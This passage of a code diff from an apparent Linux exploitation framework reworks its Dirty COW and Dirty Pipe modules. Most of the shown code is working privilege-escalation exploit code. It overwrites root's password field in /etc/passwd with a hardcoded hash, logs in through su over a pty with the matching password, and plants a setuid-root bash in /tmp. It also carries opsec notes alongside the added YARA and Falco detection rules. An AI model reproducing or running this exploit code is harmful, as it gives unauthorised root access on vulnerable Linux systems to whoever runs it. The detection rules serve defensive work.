dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
|
||||
if (sfd > 2) close(sfd);
|
||||
close(mfd);
|
||||
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
/* Poll for the password prompt, send the password, then drain — with a
|
||||
* hard 20s cap so a misbehaving su can never hang (which would block the
|
||||
* revert and leave /etc/passwd poisoned). Fixed a real hang seen on
|
||||
* xenial where the fixed-delay write raced su's prompt setup. */
|
||||
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||
const char *pw = DC_ROOT_PW "\n";
|
||||
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||
while (waited < 20000) {
|
||||
int pr = poll(&pfd, 1, 200);
|
||||
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||
if (m <= 0) break; /* pty closed → su exited */
|
||||
if (!sent) {
|
||||
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
} else {
|
||||
waited += 200;
|
||||
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
}
|
||||
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||
close(mfd);
|
||||
}
|
||||
|
||||
/* ---- Phil-Oester-style Dirty COW primitive ---- */
|
||||
|
||||
struct dcow_args {
|
||||
@@ -198,8 +256,10 @@ static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_le
|
||||
/* Re-read /etc/passwd via syscall and check if payload landed. */
|
||||
int rfd = open("/etc/passwd", O_RDONLY);
|
||||
if (rfd >= 0) {
|
||||
char readback[16];
|
||||
if (pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
||||
char readback[512]; /* must hold the full payload (was [16] —
|
||||
* overflowed for payloads > 16 bytes). */
|
||||
if (payload_len <= sizeof readback &&
|
||||
pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
||||
if (memcmp(readback, payload, payload_len) == 0) success = 0;
|
||||
}
|
||||
close(rfd);
|
||||
@@ -214,18 +274,19 @@ static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_le
|
||||
return success;
|
||||
}
|
||||
|
||||
static void revert_passwd_page_cache(void)
|
||||
/* Saved original bytes so we (and cleanup) can restore /etc/passwd using
|
||||
* the Dirty COW primitive itself — no root and no drop_caches (the old
|
||||
* revert wrote /proc/sys/vm/drop_caches, which fails unprivileged and left
|
||||
* the running system's /etc/passwd corrupted). */
|
||||
static char dc_orig[512];
|
||||
static off_t dc_orig_off;
|
||||
static size_t dc_orig_len;
|
||||
static bool dc_wrote;
|
||||
|
||||
static void dc_revert(void)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
close(fd);
|
||||
}
|
||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||
if (dc >= 0) {
|
||||
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
|
||||
close(dc);
|
||||
}
|
||||
if (dc_wrote && dc_orig_len)
|
||||
dirty_cow_write(dc_orig_off, dc_orig, dc_orig_len);
|
||||
}
|
||||
|
||||
/* ---- skeletonkey interface ---- */
|
||||
@@ -275,58 +336,93 @@ static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
||||
/* Overwrite ROOT's password field with a known crypt hash, then
|
||||
* authenticate as root with the matching password. (The previous code
|
||||
* raced the CALLER's UID to "0000" and ran `su self`, which still
|
||||
* demands the caller's password — it never rooted anything, falsely
|
||||
* reported OK when su's exec transferred, and reverted with drop_caches
|
||||
* which needs root, corrupting the running /etc/passwd.) */
|
||||
off_t field_off;
|
||||
size_t pw_sz;
|
||||
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate root's password field\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
off_t uid_off;
|
||||
size_t uid_len;
|
||||
char orig_uid[16] = {0};
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
|
||||
}
|
||||
|
||||
char replacement[16];
|
||||
memset(replacement, '0', uid_len);
|
||||
replacement[uid_len] = 0;
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: racing UID '%s' → '%s' via Dirty COW primitive\n",
|
||||
orig_uid, replacement);
|
||||
}
|
||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
||||
const char *newline = DC_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
|
||||
size_t newlen = strlen(newline);
|
||||
if (newlen > sizeof dc_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
|
||||
fprintf(stderr, "[-] dirty_cow: /etc/passwd too small to hold the payload "
|
||||
"without extending it\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pread(fd, dc_orig, newlen, field_off) != (ssize_t)newlen) {
|
||||
close(fd); fprintf(stderr, "[-] dirty_cow: pread backup failed\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
close(fd);
|
||||
dc_orig_off = field_off; dc_orig_len = newlen;
|
||||
|
||||
long tag = (long)getpid();
|
||||
char proof[128], rootbash[128], cmd[1024];
|
||||
snprintf(proof, sizeof proof, "/tmp/.sk-dirtycow-%ld.proof", tag);
|
||||
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtycow-%ld.rootbash", tag);
|
||||
unlink(proof); unlink(rootbash);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_cow: racing root's password field at offset %lld "
|
||||
"(len %zu) via Dirty COW primitive\n", (long long)field_off, newlen);
|
||||
if (dirty_cow_write(field_off, newline, newlen) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout "
|
||||
"(kernel likely patched)\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
dc_wrote = true;
|
||||
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
|
||||
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
|
||||
proof, rootbash, rootbash, proof, rootbash);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_cow: authenticating as root (su + known password)\n");
|
||||
dc_su_root_run(cmd);
|
||||
|
||||
/* Revert immediately — never leave a running system with a known root
|
||||
* password. Dirty COW never wrote disk, so this fully restores. */
|
||||
dc_revert();
|
||||
{ int ev = open("/etc/passwd", O_RDONLY);
|
||||
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
|
||||
|
||||
struct stat sb;
|
||||
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||
if (rooted) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: ROOT — root-owned proof %s\n", proof);
|
||||
fprintf(stderr, "[+] dirty_cow: setuid-root shell available: %s -p\n", rootbash);
|
||||
fprintf(stderr, "[i] dirty_cow: /etc/passwd reverted (nothing persisted)\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
||||
fflush(NULL);
|
||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] dirty_cow: no root artifact — honest EXPLOIT_FAIL "
|
||||
"(page cache reverted). Primitive may be blocked, or su/PAM "
|
||||
"rejected the injected hash.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
||||
fprintf(stderr, "[*] dirty_cow: reverting /etc/passwd + removing artifacts\n");
|
||||
}
|
||||
dc_revert(); /* idempotent; no root / no drop_caches */
|
||||
if (system("rm -f /tmp/.sk-dirtycow-*.proof /tmp/.sk-dirtycow-*.rootbash 2>/dev/null") != 0) {
|
||||
/* harmless */
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
@@ -390,6 +486,35 @@ static const char dirty_cow_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
static const char dirty_cow_yara[] =
|
||||
"rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2016-5195\"\n"
|
||||
" description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_cow_falco[] =
|
||||
"- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root pwrite() targeting /proc/self/mem at an offset that\n"
|
||||
" overlaps a private mmap of /etc/passwd. Combined with a\n"
|
||||
" racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
|
||||
" primitive (CVE-2016-5195).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pwrite and fd.name = /proc/self/mem and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pwrite to /proc/self/mem by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
|
||||
|
||||
const struct skeletonkey_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
@@ -402,8 +527,10 @@ const struct skeletonkey_module dirty_cow_module = {
|
||||
.cleanup = dirty_cow_cleanup,
|
||||
.detect_auditd = dirty_cow_auditd,
|
||||
.detect_sigma = dirty_cow_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_cow_yara,
|
||||
.detect_falco = dirty_cow_falco,
|
||||
.opsec_notes = "Two-thread race: Thread A loops write(/proc/self/mem) at root's password-field offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts by racing the original bytes back through the same primitive (no root / no drop_caches — nothing persists). Offset parsed from the file, not hardcoded. Root judged only by the out-of-band artifact. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning, then su spawning as root. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_cow(void)
|
||||
|
||||
@@ -1,11 +1,21 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||
*
|
||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
||||
* is the reference — but landing it under the skeletonkey_module
|
||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
||||
* which are deferred to Phase 1.5).
|
||||
* Status: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 22.04
|
||||
* userspace running mainline 5.16.0 (pre-fix): `skeletonkey --exploit
|
||||
* dirty_pipe` (uid 1000) lands root and plants a root-owned setuid bash,
|
||||
* and /etc/passwd is left byte-identical afterward.
|
||||
*
|
||||
* Escalation: overwrite root's password field in /etc/passwd's page cache
|
||||
* with a known crypt hash (the primitive can't grow the file, so the
|
||||
* longer hash clobbers into the following lines — transient), authenticate
|
||||
* as root over a pty with the matching password, plant a root-owned proof
|
||||
* + setuid bash, then revert the page cache using the Dirty Pipe primitive
|
||||
* itself. (The prior code flipped the *caller's* UID to 0000 and ran
|
||||
* `su self` — which still demands the caller's password, never rooted
|
||||
* anything, and falsely reported OK when su's exec transferred; its revert
|
||||
* used drop_caches, which needs root, so it left the running system's
|
||||
* /etc/passwd corrupted.) Root is judged only by the out-of-band artifact.
|
||||
*
|
||||
* Affected kernel ranges:
|
||||
* 5.8 ≤ K < 5.17 (mainline fix at 5.17, commit 9d2231c5d74e)
|
||||
@@ -50,6 +60,9 @@
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <poll.h>
|
||||
#include <pwd.h>
|
||||
|
||||
/* ---- Dirty Pipe primitive ---------------------------------------- */
|
||||
@@ -123,16 +136,12 @@ static int dirty_pipe_write(const char *target_path, off_t offset,
|
||||
return (w == (ssize_t)data_len) ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ---- /etc/passwd UID-field helpers (inlined; would migrate to
|
||||
* core/host.{c,h} once a third module needs them). ------------ */
|
||||
/* ---- /etc/passwd password-field helpers -------------------------- */
|
||||
|
||||
/* Locate the UID field of `username` in /etc/passwd. Returns true on
|
||||
* success and fills *uid_off (byte offset of UID), *uid_len (length
|
||||
* of UID string), uid_str (copy of UID, NUL-terminated). Requires
|
||||
* the UID to be a positive decimal number that fits in 16 bytes. */
|
||||
static bool find_passwd_uid_field(const char *username,
|
||||
off_t *uid_off, size_t *uid_len,
|
||||
char uid_str[16])
|
||||
/* Locate the byte offset of the password field of `username` in
|
||||
* /etc/passwd (the byte immediately after "username:"). Returns true and
|
||||
* fills *field_off; also returns the current /etc/passwd size in *sz. */
|
||||
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
@@ -145,52 +154,83 @@ static bool find_passwd_uid_field(const char *username,
|
||||
if (r != st.st_size) { free(buf); return false; }
|
||||
buf[st.st_size] = 0;
|
||||
|
||||
/* find line "username:x:UID:GID:..." */
|
||||
size_t ulen = strlen(username);
|
||||
char *p = buf;
|
||||
while (p < buf + st.st_size) {
|
||||
char *eol = strchr(p, '\n');
|
||||
if (!eol) eol = buf + st.st_size;
|
||||
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
/* Skip past "username:" then password field */
|
||||
char *q = p + ulen + 1;
|
||||
char *pw_end = memchr(q, ':', eol - q);
|
||||
if (!pw_end) goto next;
|
||||
char *uid_begin = pw_end + 1;
|
||||
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
|
||||
if (!uid_end) goto next;
|
||||
size_t L = uid_end - uid_begin;
|
||||
if (L == 0 || L >= 16) goto next;
|
||||
memcpy(uid_str, uid_begin, L);
|
||||
uid_str[L] = 0;
|
||||
*uid_off = (off_t)(uid_begin - buf);
|
||||
*uid_len = L;
|
||||
/* line must start with "username:" */
|
||||
if ((p == buf || p[-1] == '\n') &&
|
||||
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
*field_off = (off_t)((p + ulen + 1) - buf); /* after "name:" */
|
||||
*sz = (size_t)st.st_size;
|
||||
free(buf);
|
||||
return true;
|
||||
}
|
||||
next:
|
||||
p = eol + 1;
|
||||
}
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Evict /etc/passwd from page cache after exploitation. POSIX_FADV_DONTNEED
|
||||
* works as a non-root hint; if it doesn't take, try `drop_caches` which
|
||||
* requires root (which we just acquired). */
|
||||
static void revert_passwd_page_cache(void)
|
||||
/* The known root password we install (via a crypt hash written into
|
||||
* /etc/passwd's password field) and then authenticate with. Both are
|
||||
* transient: the page-cache write is reverted before we return, and
|
||||
* Dirty Pipe never touches disk, so nothing survives a cache drop. */
|
||||
#define DP_ROOT_PW "skeletonkey"
|
||||
#define DP_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
|
||||
|
||||
/* Run `cmd` as root via `su`, feeding DP_ROOT_PW over a pty (su reads the
|
||||
* password from the controlling terminal, not stdin). Returns after su
|
||||
* exits; success is judged out-of-band by the caller, never from su's
|
||||
* status. */
|
||||
static void dp_su_root_run(const char *cmd)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
close(fd);
|
||||
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
|
||||
if (mfd < 0) return;
|
||||
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
|
||||
const char *sn = ptsname(mfd);
|
||||
if (!sn) { close(mfd); return; }
|
||||
char slave[128];
|
||||
snprintf(slave, sizeof slave, "%s", sn);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { close(mfd); return; }
|
||||
if (pid == 0) {
|
||||
setsid();
|
||||
int sfd = open(slave, O_RDWR); /* becomes controlling tty */
|
||||
if (sfd < 0) _exit(127);
|
||||
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
|
||||
if (sfd > 2) close(sfd);
|
||||
close(mfd);
|
||||
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
/* Belt-and-suspenders: drop_caches=3 wipes all page cache. Best-effort. */
|
||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||
if (dc >= 0) {
|
||||
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
|
||||
close(dc);
|
||||
|
||||
/* Parent: poll for the "Password:" prompt, send the password, then drain —
|
||||
* with a hard 20s cap so a misbehaving su can never hang (which would block
|
||||
* the revert and leave /etc/passwd poisoned). The earlier fixed-delay write
|
||||
* raced su's prompt setup on some hosts (observed hanging on xenial). */
|
||||
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||
const char *pw = DP_ROOT_PW "\n";
|
||||
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||
while (waited < 20000) {
|
||||
int pr = poll(&pfd, 1, 200);
|
||||
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||
if (m <= 0) break; /* pty closed → su exited */
|
||||
if (!sent) {
|
||||
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
} else {
|
||||
waited += 200;
|
||||
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
}
|
||||
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||
close(mfd);
|
||||
}
|
||||
|
||||
|
||||
@@ -204,7 +244,7 @@ static void revert_passwd_page_cache(void)
|
||||
* - mainline (≥ 5.17) is patched
|
||||
*/
|
||||
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
|
||||
{5, 10, 102}, /* 5.10.x backport */
|
||||
{5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
|
||||
{5, 15, 25}, /* 5.15.x backport */
|
||||
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
|
||||
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
|
||||
@@ -328,94 +368,135 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* Saved original bytes so cleanup() can re-revert idempotently. */
|
||||
static char dp_orig[512];
|
||||
static off_t dp_orig_off;
|
||||
static size_t dp_orig_len;
|
||||
static bool dp_wrote;
|
||||
|
||||
/* Restore the /etc/passwd page cache to its pre-exploit bytes using the
|
||||
* Dirty Pipe primitive itself — NO root and NO drop_caches required (the
|
||||
* old code called drop_caches, which fails unprivileged and leaves the
|
||||
* running system's passwd corrupted). */
|
||||
static void dp_revert(void)
|
||||
{
|
||||
if (dp_wrote && dp_orig_len)
|
||||
dirty_pipe_write("/etc/passwd", dp_orig_off, dp_orig, dp_orig_len);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
||||
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Resolve current user. Consult ctx->host->is_root for the
|
||||
* already-root short-circuit so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
uid_t euid = geteuid();
|
||||
struct passwd *pw = getpwuid(euid);
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||
|
||||
/* Overwrite root's password field with a known crypt hash, then
|
||||
* authenticate as root with the matching password. (The previous
|
||||
* approach flipped the *caller's* UID to 0000 and ran `su self`,
|
||||
* which still demands the caller's password — it never rooted
|
||||
* anything and falsely reported OK when su's exec transferred.) */
|
||||
off_t field_off;
|
||||
size_t pw_sz;
|
||||
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
|
||||
fprintf(stderr, "[-] dirty_pipe: could not locate root's password field\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||
* with "0000" of identical width. Refuse if the user's UID width
|
||||
* doesn't fit our replacement string. */
|
||||
off_t uid_off;
|
||||
size_t uid_len;
|
||||
char orig_uid[16] = {0};
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
|
||||
}
|
||||
/* New root line body written from the password field onward. The
|
||||
* hash is longer than the original 'x', so this clobbers into the
|
||||
* following lines — harmless and transient (we revert), and su only
|
||||
* needs the first (root) line. */
|
||||
const char *newline = DP_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
|
||||
size_t newlen = strlen(newline);
|
||||
|
||||
/* Build replacement: zeros of the same length so we don't shift
|
||||
* the line layout. "0000" for a 4-digit UID, "00000" for 5, etc. */
|
||||
char replacement[16];
|
||||
memset(replacement, '0', uid_len);
|
||||
replacement[uid_len] = 0;
|
||||
|
||||
/* Edge case: if offset is page-aligned, splice/CAN_MERGE primitive
|
||||
* can't reach it (see prepare_pipe/dirty_pipe_write comments).
|
||||
* Vanishingly rare — first user in /etc/passwd typically lives
|
||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
||||
if ((uid_off & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
||||
if ((field_off & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: root password field is page-aligned; "
|
||||
"primitive can't write here\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (newlen > sizeof dp_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
|
||||
fprintf(stderr, "[-] dirty_pipe: /etc/passwd too small to hold the payload "
|
||||
"without extending it (Dirty Pipe can't grow files)\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: overwriting UID '%s' → '%s' via page-cache write\n",
|
||||
orig_uid, replacement);
|
||||
/* Save the original bytes we're about to clobber, for revert. */
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pread(fd, dp_orig, newlen, field_off) != (ssize_t)newlen) {
|
||||
close(fd); fprintf(stderr, "[-] dirty_pipe: pread backup failed\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
||||
close(fd);
|
||||
dp_orig_off = field_off; dp_orig_len = newlen;
|
||||
|
||||
/* Unique out-of-band artifacts. */
|
||||
long tag = (long)getpid();
|
||||
char proof[128], rootbash[128], cmd[1024];
|
||||
snprintf(proof, sizeof proof, "/tmp/.sk-dirtypipe-%ld.proof", tag);
|
||||
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtypipe-%ld.rootbash", tag);
|
||||
unlink(proof); unlink(rootbash);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_pipe: overwriting root's password field at offset "
|
||||
"%lld (len %zu) via page-cache write\n",
|
||||
(long long)field_off, newlen);
|
||||
if (dirty_pipe_write("/etc/passwd", field_off, newline, newlen) < 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
dp_wrote = true;
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
||||
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
|
||||
/* Authenticate as root with the known password and plant the proof. */
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
|
||||
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
|
||||
proof, rootbash, rootbash, proof, rootbash);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_pipe: authenticating as root (su + known password)\n");
|
||||
dp_su_root_run(cmd);
|
||||
|
||||
/* Revert the page cache IMMEDIATELY — before we even check the
|
||||
* result — so a running system is never left with a known root
|
||||
* password. Dirty Pipe never wrote disk, so this fully restores. */
|
||||
dp_revert();
|
||||
{ int ev = open("/etc/passwd", O_RDONLY); /* nudge a re-read */
|
||||
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
|
||||
|
||||
/* Out-of-band verdict: is the proof a real, root-owned file? */
|
||||
struct stat sb;
|
||||
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||
if (rooted) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: ROOT — root-owned proof %s\n", proof);
|
||||
fprintf(stderr, "[+] dirty_pipe: setuid-root shell available: %s -p\n", rootbash);
|
||||
fprintf(stderr, "[i] dirty_pipe: /etc/passwd page cache reverted (nothing persisted)\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
||||
